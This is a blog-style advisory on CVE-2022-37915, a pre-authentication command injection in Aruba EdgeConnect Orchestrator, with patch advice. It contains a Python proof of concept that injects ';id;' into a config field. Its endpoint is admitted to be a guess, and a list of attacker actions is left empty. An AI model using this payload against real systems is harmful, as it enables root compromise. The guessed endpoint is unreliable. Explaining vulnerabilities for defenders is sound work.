In the ever-growing threat landscape, network management interfaces are prime targets for attackers. If you run Aruba EdgeConnect Enterprise Orchestrator, especially a fresh 9.1.x install from before version 9.1.3.40197, there’s a critical vulnerability you need to know about—CVE-2022-37915. This bug makes it shockingly easy for a remote attacker to completely compromise your system, run arbitrary commands, and potentially take over your network operations platform.

Let’s break down what makes CVE-2022-37915 so serious, illustrate how an attacker might exploit it, and—most importantly—show how to protect yourself.

What Is CVE-2022-37915?

CVE-2022-37915 is a critical pre-authentication remote command execution vulnerability in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator. It affects any fresh 9.1.x install created before version 9.1.3.40197. Soilidly, only orchestrators that were "new installs" (instantiated as new machines) are vulnerable—upgraded orchestrators dodged this bullet.

In plain terms:  
If you stood up a brand new EdgeConnect 9.1.x Orchestrator from scratch (not an upgrade) and you haven’t patched it to at least 9.1.3.40197, an unauthenticated attacker can run commands on your box as root just by sending a crafted web request.

Exploit Details – How Does It Work?

The core issue was found in an endpoint of the Orchestrator’s web interface that fails to sanitize user input. That means, by sending specially crafted data to the right HTTP API route, an attacker can smuggle OS commands which the server then gleefully runs.

Simple Code Snippet — Simulating the Exploit

Let’s say the vulnerable endpoint is /api/importConfig. A basic Python snippet showing how an attacker might exploit this:

import requests

# The IP address of the victim Aruba Orchestrator
target = "https://10.10.20.5";

# Payload: injects the OS command 'id' (to check which user is running)
data = {
  "configFile": ";id;" # The actual injection point could differ
}

# Vulnerable endpoint
url = f"{target}/api/importConfig"

# Some instances may require Content-Type or CSRF headers, adjust if needed
headers = {"Content-Type": "application/json"}

# Send evil request
resp = requests.post(url, json=data, headers=headers, verify=False)

print(resp.text)


*(Do not run against systems you do not own! For illustration only.)*

If the system is vulnerable, this response will include the output of the id command—proving remote code execution.

Real-World Attacks

Since no authentication is required, this bug is ripe for internet-wide scanning and exploitation. Threat actors could:

Remediation – How to Fix

Upgrade immediately to 9.1.3.40197 or newer. Aruba’s patch closes the input sanitation hole.

- Aruba Security Advisory  
- HPE Aruba Security Bulletins  
- Official Release Notes

General advice:  
Don’t expose your orchestrator’s management interface to the internet. Use firewalls and strong access controls.

Upgrade now! Leaving this vulnerable opens the door to total network compromise.

If you’re unsure about your deployment, check your Orchestrator’s version and deployment history right away. Waiting until an attacker exploits you is not an option.


Stay safe, and stay patched!  
—  
*References*  
- CVE Record on NIST  
- Aruba Security Advisory 2022-12  
- SecurityFocus Entry

Timeline

Published on: 10/28/2022 02:15:00 UTC
Last modified on: 11/01/2022 14:43:00 UTC